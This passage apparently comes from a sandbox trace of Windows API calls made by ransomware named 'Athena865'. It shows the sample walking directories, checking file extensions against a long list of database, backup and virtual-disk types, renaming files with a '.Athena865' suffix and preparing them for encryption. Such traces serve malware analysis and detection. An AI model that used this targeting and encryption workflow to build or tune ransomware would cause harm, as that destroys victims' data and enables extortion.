0x540dc0 [0121.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.773] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.774] CloseHandle (hObject=0x154) returned 1 [0121.774] CloseHandle (hObject=0x17c) returned 1 [0121.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.774] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 1 [0121.774] lstrcmpiW (lpString1="BD07761_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.774] lstrcmpiW (lpString1="BD07761_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.774] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD07761_.WMF" | out: lpString1="BD07761_.WMF") returned="BD07761_.WMF" [0121.774] lstrlenW (lpString="BD07761_.WMF") returned 12 [0121.774] lstrlenW (lpString="Athena865") returned 9 [0121.774] lstrcmpiW (lpString1="7761_.WMF", lpString2="Athena865") returned -1 [0121.774] lstrlenW (lpString=".dll") returned 4 [0121.774] lstrcmpiW (lpString1="BD07761_.WMF", lpString2=".dll") returned 1 [0121.774] lstrlenW (lpString=".lnk") returned 4 [0121.774] lstrcmpiW (lpString1="BD07761_.WMF", lpString2=".lnk") returned 1 [0121.774] lstrlenW (lpString=".ini") returned 4 [0121.774] lstrcmpiW (lpString1="BD07761_.WMF", lpString2=".ini") returned 1 [0121.774] lstrlenW (lpString=".sys") returned 4 [0121.774] lstrcmpiW (lpString1="BD07761_.WMF", lpString2=".sys") returned 1 [0121.775] lstrlenW (lpString="BD07761_.WMF") returned 12 [0121.775] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.Athena865") returned 73 [0121.775] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.777] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26748) returned 1 [0121.777] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.777] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.777] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.778] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.778] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.778] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.778] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6b80, lpName=0x0) returned 0x154 [0121.781] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6b80) returned 0x100000 [0121.782] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.783] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.783] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.784] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.784] CloseHandle (hObject=0x154) returned 1 [0121.784] CloseHandle (hObject=0x17c) returned 1 [0121.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.785] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 1 [0121.785] lstrcmpiW (lpString1="BD07804_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.785] lstrcmpiW (lpString1="BD07804_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.785] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD07804_.WMF" | out: lpString1="BD07804_.WMF") returned="BD07804_.WMF" [0121.785] lstrlenW (lpString="BD07804_.WMF") returned 12 [0121.785] lstrlenW (lpString="Athena865") returned 9 [0121.785] lstrcmpiW (lpString1="7804_.WMF", lpString2="Athena865") returned -1 [0121.785] lstrlenW (lpString=".dll") returned 4 [0121.785] lstrcmpiW (lpString1="BD07804_.WMF", lpString2=".dll") returned 1 [0121.785] lstrlenW (lpString=".lnk") returned 4 [0121.785] lstrcmpiW (lpString1="BD07804_.WMF", lpString2=".lnk") returned 1 [0121.785] lstrlenW (lpString=".ini") returned 4 [0121.785] lstrcmpiW (lpString1="BD07804_.WMF", lpString2=".ini") returned 1 [0121.785] lstrlenW (lpString=".sys") returned 4 [0121.785] lstrcmpiW (lpString1="BD07804_.WMF", lpString2=".sys") returned 1 [0121.785] lstrlenW (lpString="BD07804_.WMF") returned 12 [0121.785] lstrlenW (lpString="bak") returned 3 [0121.785] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0121.785] lstrlenW (lpString="ba_") returned 3 [0121.785] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0121.785] lstrlenW (lpString="dbb") returned 3 [0121.785] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0121.786] lstrlenW (lpString="vmdk") returned 4 [0121.786] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0121.786] lstrlenW (lpString="rar") returned 3 [0121.786] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0121.786] lstrlenW (lpString="zip") returned 3 [0121.786] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0121.786] lstrlenW (lpString="tgz") returned 3 [0121.786] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0121.786] lstrlenW (lpString="vbox") returned 4 [0121.786] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0121.786] lstrlenW (lpString="vdi") returned 3 [0121.786] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0121.786] lstrlenW (lpString="vhd") returned 3 [0121.786] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0121.786] lstrlenW (lpString="vhdx") returned 4 [0121.786] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0121.786] lstrlenW (lpString="avhd") returned 4 [0121.786] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0121.786] lstrlenW (lpString="db") returned 2 [0121.786] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0121.786] lstrlenW (lpString="db2") returned 3 [0121.786] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0121.786] lstrlenW (lpString="db3") returned 3 [0121.786] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0121.786] lstrlenW (lpString="dbf") returned 3 [0121.786] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0121.786] lstrlenW (lpString="mdf") returned 3 [0121.786] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0121.786] lstrlenW (lpString="mdb") returned 3 [0121.787] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0121.787] lstrlenW (lpString="sql") returned 3 [0121.787] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0121.787] lstrlenW (lpString="sqlite") returned 6 [0121.787] lstrcmpiW (lpString1="4_.WMF", lpString2="sqlite") returned -1 [0121.787] lstrlenW (lpString="sqlite3") returned 7 [0121.787] lstrcmpiW (lpString1="04_.WMF", lpString2="sqlite3") returned -1 [0121.787] lstrlenW (lpString="sqlitedb") returned 8 [0121.787] lstrcmpiW (lpString1="804_.WMF", lpString2="sqlitedb") returned -1 [0121.787] lstrlenW (lpString="xml") returned 3 [0121.787] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0121.787] lstrlenW (lpString="$er") returned 3 [0121.787] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0121.787] lstrlenW (lpString="4dd") returned 3 [0121.787] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0121.787] lstrlenW (lpString="4dl") returned 3 [0121.787] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0121.787] lstrlenW (lpString="^^^") returned 3 [0121.787] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0121.787] lstrlenW (lpString="abs") returned 3 [0121.787] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0121.787] lstrlenW (lpString="abx") returned 3 [0121.787] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0121.787] lstrlenW (lpString="accdb") returned 5 [0121.787] lstrcmpiW (lpString1="_.WMF", lpString2="accdb") returned -1 [0121.787] lstrlenW (lpString="accdc") returned 5 [0121.787] lstrcmpiW (lpString1="_.WMF", lpString2="accdc") returned -1 [0121.787] lstrlenW (lpString="accde") returned 5 [0121.787] lstrcmpiW (lpString1="_.WMF", lpString2="accde") returned -1 [0121.788] lstrlenW (lpString="accdr") returned 5 [0121.788] lstrcmpiW (lpString1="_.WMF", lpString2="accdr") returned -1 [0121.788] lstrlenW (lpString="accdt") returned 5 [0121.788] lstrcmpiW (lpString1="_.WMF", lpString2="accdt") returned -1 [0121.788] lstrlenW (lpString="accdw") returned 5 [0121.788] lstrcmpiW (lpString1="_.WMF", lpString2="accdw") returned -1 [0121.788] lstrlenW (lpString="accft") returned 5 [0121.788] lstrcmpiW (lpString1="_.WMF", lpString2="accft") returned -1 [0121.788] lstrlenW (lpString="adb") returned 3 [0121.788] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0121.788] lstrlenW (lpString="adb") returned 3 [0121.788] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0121.788] lstrlenW (lpString="ade") returned 3 [0121.788] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0121.788] lstrlenW (lpString="adf") returned 3 [0121.788] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0121.788] lstrlenW (lpString="adn") returned 3 [0121.788] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0121.788] lstrlenW (lpString="adp") returned 3 [0121.788] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0121.788] lstrlenW (lpString="alf") returned 3 [0121.788] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0121.788] lstrlenW (lpString="ask") returned 3 [0121.788] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0121.788] lstrlenW (lpString="btr") returned 3 [0121.788] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0121.788] lstrlenW (lpString="cat") returned 3 [0121.788] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0121.788] lstrlenW (lpString="cdb") returned 3 [0121.789] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0121.789] lstrlenW (lpString="ckp") returned 3 [0121.789] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0121.789] lstrlenW (lpString="cma") returned 3 [0121.789] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0121.789] lstrlenW (lpString="cpd") returned 3 [0121.789] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0121.789] lstrlenW (lpString="dacpac") returned 6 [0121.789] lstrcmpiW (lpString1="4_.WMF", lpString2="dacpac") returned -1 [0121.789] lstrlenW (lpString="dad") returned 3 [0121.789] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0121.789] lstrlenW (lpString="dadiagrams") returned 10 [0121.789] lstrcmpiW (lpString1="07804_.WMF", lpString2="dadiagrams") returned -1 [0121.789] lstrlenW (lpString="daschema") returned 8 [0121.789] lstrcmpiW (lpString1="804_.WMF", lpString2="daschema") returned -1 [0121.789] lstrlenW (lpString="db-journal") returned 10 [0121.789] lstrcmpiW (lpString1="07804_.WMF", lpString2="db-journal") returned -1 [0121.789] lstrlenW (lpString="db-shm") returned 6 [0121.789] lstrcmpiW (lpString1="4_.WMF", lpString2="db-shm") returned -1 [0121.789] lstrlenW (lpString="db-wal") returned 6 [0121.789] lstrcmpiW (lpString1="4_.WMF", lpString2="db-wal") returned -1 [0121.789] lstrlenW (lpString="dbc") returned 3 [0121.789] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0121.789] lstrlenW (lpString="dbs") returned 3 [0121.789] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0121.789] lstrlenW (lpString="dbt") returned 3 [0121.789] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0121.790] lstrlenW (lpString="dbv") returned 3 [0121.790] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0121.790] lstrlenW (lpString="dbx") returned 3 [0121.790] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0121.790] lstrlenW (lpString="dcb") returned 3 [0121.790] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0121.790] lstrlenW (lpString="dct") returned 3 [0121.790] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0121.790] lstrlenW (lpString="dcx") returned 3 [0121.790] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0121.790] lstrlenW (lpString="ddl") returned 3 [0121.790] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0121.790] lstrlenW (lpString="dlis") returned 4 [0121.790] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0121.790] lstrlenW (lpString="dp1") returned 3 [0121.790] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0121.790] lstrlenW (lpString="dqy") returned 3 [0121.790] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0121.790] lstrlenW (lpString="dsk") returned 3 [0121.790] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0121.790] lstrlenW (lpString="dsn") returned 3 [0121.790] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0121.790] lstrlenW (lpString="dtsx") returned 4 [0121.790] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0121.790] lstrlenW (lpString="dxl") returned 3 [0121.790] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0121.790] lstrlenW (lpString="eco") returned 3 [0121.790] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0121.790] lstrlenW (lpString="ecx") returned 3 [0121.790] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0121.791] lstrlenW (lpString="edb") returned 3 [0121.791] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0121.791] lstrlenW (lpString="epim") returned 4 [0121.791] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0121.791] lstrlenW (lpString="fcd") returned 3 [0121.791] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0121.791] lstrlenW (lpString="fdb") returned 3 [0121.791] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0121.791] lstrlenW (lpString="fic") returned 3 [0121.791] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0121.791] lstrlenW (lpString="flexolibrary") returned 12 [0121.791] lstrlenW (lpString="fm5") returned 3 [0121.791] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0121.791] lstrlenW (lpString="fmp") returned 3 [0121.791] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0121.791] lstrlenW (lpString="fmp12") returned 5 [0121.791] lstrcmpiW (lpString1="_.WMF", lpString2="fmp12") returned -1 [0121.791] lstrlenW (lpString="fmpsl") returned 5 [0121.791] lstrcmpiW (lpString1="_.WMF", lpString2="fmpsl") returned -1 [0121.791] lstrlenW (lpString="fol") returned 3 [0121.791] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0121.791] lstrlenW (lpString="fp3") returned 3 [0121.791] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0121.791] lstrlenW (lpString="fp4") returned 3 [0121.791] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0121.791] lstrlenW (lpString="fp5") returned 3 [0121.791] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0121.791] lstrlenW (lpString="fp7") returned 3 [0121.791] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0121.792] lstrlenW (lpString="fpt") returned 3 [0121.792] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0121.792] lstrlenW (lpString="frm") returned 3 [0121.792] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0121.792] lstrlenW (lpString="gdb") returned 3 [0121.792] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0121.792] lstrlenW (lpString="gdb") returned 3 [0121.792] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0121.792] lstrlenW (lpString="grdb") returned 4 [0121.792] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0121.792] lstrlenW (lpString="gwi") returned 3 [0121.792] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0121.792] lstrlenW (lpString="hdb") returned 3 [0121.792] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0121.792] lstrlenW (lpString="his") returned 3 [0121.792] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0121.792] lstrlenW (lpString="ib") returned 2 [0121.792] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0121.792] lstrlenW (lpString="idb") returned 3 [0121.792] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0121.792] lstrlenW (lpString="ihx") returned 3 [0121.792] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0121.792] lstrlenW (lpString="itdb") returned 4 [0121.792] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0121.792] lstrlenW (lpString="itw") returned 3 [0121.792] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0121.792] lstrlenW (lpString="jet") returned 3 [0121.792] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0121.792] lstrlenW (lpString="jtx") returned 3 [0121.793] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0121.793] lstrlenW (lpString="kdb") returned 3 [0121.793] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0121.793] lstrlenW (lpString="kexi") returned 4 [0121.793] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0121.793] lstrlenW (lpString="kexic") returned 5 [0121.793] lstrcmpiW (lpString1="_.WMF", lpString2="kexic") returned -1 [0121.793] lstrlenW (lpString="kexis") returned 5 [0121.793] lstrcmpiW (lpString1="_.WMF", lpString2="kexis") returned -1 [0121.793] lstrlenW (lpString="lgc") returned 3 [0121.793] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0121.793] lstrlenW (lpString="lwx") returned 3 [0121.793] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0121.793] lstrlenW (lpString="maf") returned 3 [0121.793] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0121.793] lstrlenW (lpString="maq") returned 3 [0121.793] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0121.793] lstrlenW (lpString="mar") returned 3 [0121.793] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0121.793] lstrlenW (lpString="marshal") returned 7 [0121.793] lstrcmpiW (lpString1="04_.WMF", lpString2="marshal") returned -1 [0121.793] lstrlenW (lpString="mas") returned 3 [0121.793] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0121.793] lstrlenW (lpString="mav") returned 3 [0121.793] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0121.793] lstrlenW (lpString="maw") returned 3 [0121.793] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0121.793] lstrlenW (lpString="mdbhtml") returned 7 [0121.793] lstrcmpiW (lpString1="04_.WMF", lpString2="mdbhtml") returned -1 [0121.794] lstrlenW (lpString="mdn") returned 3 [0121.794] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0121.794] lstrlenW (lpString="mdt") returned 3 [0121.794] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0121.794] lstrlenW (lpString="mfd") returned 3 [0121.794] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0121.794] lstrlenW (lpString="mpd") returned 3 [0121.794] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0121.794] lstrlenW (lpString="mrg") returned 3 [0121.794] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0121.794] lstrlenW (lpString="mud") returned 3 [0121.794] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0121.794] lstrlenW (lpString="mwb") returned 3 [0121.794] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0121.794] lstrlenW (lpString="myd") returned 3 [0121.794] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0121.794] lstrlenW (lpString="ndf") returned 3 [0121.794] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0121.794] lstrlenW (lpString="nnt") returned 3 [0121.794] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0121.794] lstrlenW (lpString="nrmlib") returned 6 [0121.794] lstrcmpiW (lpString1="4_.WMF", lpString2="nrmlib") returned -1 [0121.794] lstrlenW (lpString="ns2") returned 3 [0121.794] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0121.794] lstrlenW (lpString="ns3") returned 3 [0121.794] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0121.794] lstrlenW (lpString="ns4") returned 3 [0121.794] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0121.794] lstrlenW (lpString="nsf") returned 3 [0121.795] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0121.795] lstrlenW (lpString="nv") returned 2 [0121.795] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0121.795] lstrlenW (lpString="nv2") returned 3 [0121.795] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0121.795] lstrlenW (lpString="nwdb") returned 4 [0121.795] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0121.795] lstrlenW (lpString="nyf") returned 3 [0121.795] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0121.795] lstrlenW (lpString="odb") returned 3 [0121.795] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0121.795] lstrlenW (lpString="odb") returned 3 [0121.795] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0121.795] lstrlenW (lpString="oqy") returned 3 [0121.795] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0121.795] lstrlenW (lpString="ora") returned 3 [0121.795] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0121.795] lstrlenW (lpString="orx") returned 3 [0121.795] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0121.795] lstrlenW (lpString="owc") returned 3 [0121.795] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0121.795] lstrlenW (lpString="p96") returned 3 [0121.795] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0121.795] lstrlenW (lpString="p97") returned 3 [0121.795] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0121.795] lstrlenW (lpString="pan") returned 3 [0121.795] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0121.795] lstrlenW (lpString="pdb") returned 3 [0121.795] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0121.795] lstrlenW (lpString="pdm") returned 3 [0121.796] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0121.796] lstrlenW (lpString="pnz") returned 3 [0121.796] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0121.796] lstrlenW (lpString="qry") returned 3 [0121.796] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0121.796] lstrlenW (lpString="qvd") returned 3 [0121.796] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0121.796] lstrlenW (lpString="rbf") returned 3 [0121.796] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0121.796] lstrlenW (lpString="rctd") returned 4 [0121.796] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0121.796] lstrlenW (lpString="rod") returned 3 [0121.796] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0121.796] lstrlenW (lpString="rodx") returned 4 [0121.796] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0121.796] lstrlenW (lpString="rpd") returned 3 [0121.796] 